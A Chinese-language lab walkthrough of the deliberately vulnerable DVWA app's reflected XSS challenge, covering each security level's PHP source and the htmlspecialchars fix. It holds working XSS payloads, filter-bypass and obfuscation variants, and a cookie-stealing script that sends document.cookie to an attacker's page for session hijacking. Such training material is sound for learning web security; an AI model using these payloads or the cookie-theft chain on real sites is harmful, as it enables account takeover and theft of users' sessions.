DVWA XSS (Reflected) 通关教程_网络攻防_自学技术教程DVWA XSS (Reflected) 通关教程_安琪教程网

网络攻防

DVWA XSS (Reflected) 通关教程

时间:2018-4-8 13:42:45 作者:安琪 来自:www.aqfls.com 浏览:295 评论:0
内容摘要:XSS介绍XSS,全称CrossSiteScripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分...

XSS 介绍

XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

XSS利用的常见用途:

  1. 盗取用户cookies
  2.  
  3. 劫持会话
  4.  
  5. 流量劫持
  6.  
  7. 网页挂马
  8.  
  9. DDOS
  10.  
  11. 提升权限
  12.  
  13. ...

本次先介绍反射型XSS:

Reflected Cross Site Scripting

反射型XSS,非持久化,需要欺骗用户自己去点击带有特定参数的XSS代码链接才能触发引起(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

Low Security Level:

  1. <?php
  2.  
  3. // Is there any input?
  4. if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
  5. // Feedback for end user
  6. echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
  7. }
  8.  
  9. ?>

可以看到,代码直接采用get方式传入了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。

Exploit

最普通的测试payload:

  1. <script>alert(/xss/)</script>

XSS链接:

  1. http://www.dvwa.com/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>#

成功弹窗:

low

弹窗之后的实战利用之盗取用户cookies进入后台:

攻击者自己网站http://localhost/xss/里构造:

  • hacker.js
  1. var img = new Image();
  2. img.src="http://localhost/xss/hacker.php?x=" + document.cookie;
  3. document.body.append(img);
  • hacker.php
  1. <?php
  2. $cookie = $_GET['x'];
  3. file_put_contents('cookie.txt', $cookie);
  4. ?>

于是插入dvwa的xss payload为:

  1. <script src="http://localhost/xss/hacker.js" /></script>

XSS利用,得到cookies:

DVWA_XSS_(Reflected)_通关教程

修改cookies从而得到权限进入后台。

DVWA_XSS_(Reflected)_通关教程

DVWA_XSS_(Reflected)_通关教程

Medium Security Level:

  1. <?php
  2.  
  3. // Is there any input?
  4. if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
  5. // Get input
  6. $name = str_replace( '<script>', '', $_GET[ 'name' ] );
  7.  
  8. // Feedback for end user
  9. echo "<pre>Hello ${name}</pre>";
  10. }
  11.  
  12. ?>

可以看到,这里对输入进行了过滤,使用str_replace函数将输入中的<script>替换为空,这种黑名单防护机制是可以被轻松绕过的。

Exploit

1.大小写绕过:

  1. <ScRipt>alert(/xss/);</ScRipt>

XSS链接:

  1. http://www.dvwa.com/vulnerabilities/xss_r/?name=<ScRipt>alert(/xss/);</ScRipt>#

daxiaoxie

2.双写方式绕过str_replace()函数:

<scr<script>ipt>alert(/xss/);</script>

XSS链接:

  1. http://www.dvwa.com/vulnerabilities/xss_r/?name=<scr<script>ipt>alert(/xss/);</script>#

shuangxie

3.使用非script标签的xss payload:

例如:

  • img标签:
  1. <img src=1 onerror=alert('xss')>
  2.  
  3. <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
  • iframe标签:
  1. <iframe onload=alert(1)>
  2.  
  3. <iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

其他标签和利用还有很多很多....

High Security Level:

  1. <?php
  2.  
  3. // Is there any input?
  4. if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
  5. // Get input
  6. $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
  7.  
  8. // Feedback for end user
  9. echo "<pre>Hello ${name}</pre>";
  10. }
  11.  
  12. ?>

可以看到,High Security Level的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

Exploit

虽然无法使用<script>标签注入XSS代码,但是可以通过imgbody等标签的事件或者iframe等标签的src构造可利用的js代码。

例如:

1.使用img标签和其编码转换后的XSS payload:

  1. <img src=1 onerror=alert(/xss/)>

XSS链接:

  1. http://www.dvwa.com/vulnerabilities/xss_r/?name=<img+src=1+onerror=alert(/xss/)>#

img

img标签编码转换后的XSS payload例如:

  1. <img src=1 onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
  1. <img src=1 onerror=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img>
  1. <img src=1 onerror=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029")></img>

2.使用iframe标签:

  1. <iframe onload=alert(/xss/)>

3.使用DATA URL进行XSS:

  1. <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

4.其他的XSS payload,还有很多很多...

Impossible Security Level:

  1. <?php
  2.  
  3. // Is there any input?
  4. if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
  5. // Check Anti-CSRF token
  6. checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
  7.  
  8. // Get input
  9. $name = htmlspecialchars( $_GET[ 'name' ] );
  10.  
  11. // Feedback for end user
  12. echo "<pre>Hello ${name}</pre>";
  13. }
  14.  
  15. // Generate Anti-CSRF token
  16. generateSessionToken();
  17.  
  18. ?>

PHP htmlspecialchars()函数

把预定义的字符转换为HTML实体:

  1. & (和号)成为 &amp;
  2. " (双引号)成为 &quot;
  3. ' (单引号)成为 &apos;//生效需要加ENT_QUOTES参数
  4. < (小于)成为 &lt;
  5. > (大于)成为 &gt;

可以看到,Impossible Security Level的代码使用htmlspecialchars函数把预定义的字符:

  1. & " ' < >

转换为HTML实体,防止浏览器将其作为HTML元素。从而防治了反射型XSS利用和危害。


标签:DVWA XSS DVWA XSS通关教学 DVWA XSS通关教程 


本站所有资源默认解压密码:www.aqfls.com 如有问题请联系管理员说明


本站资源仅供学习参考,所有资源均来源于网络搜索及网友提供,所有言论并不代表本站立场

投诉与建议 文章投稿 E-mail:1437232096@qq.com

相关文章
相关评论
加载中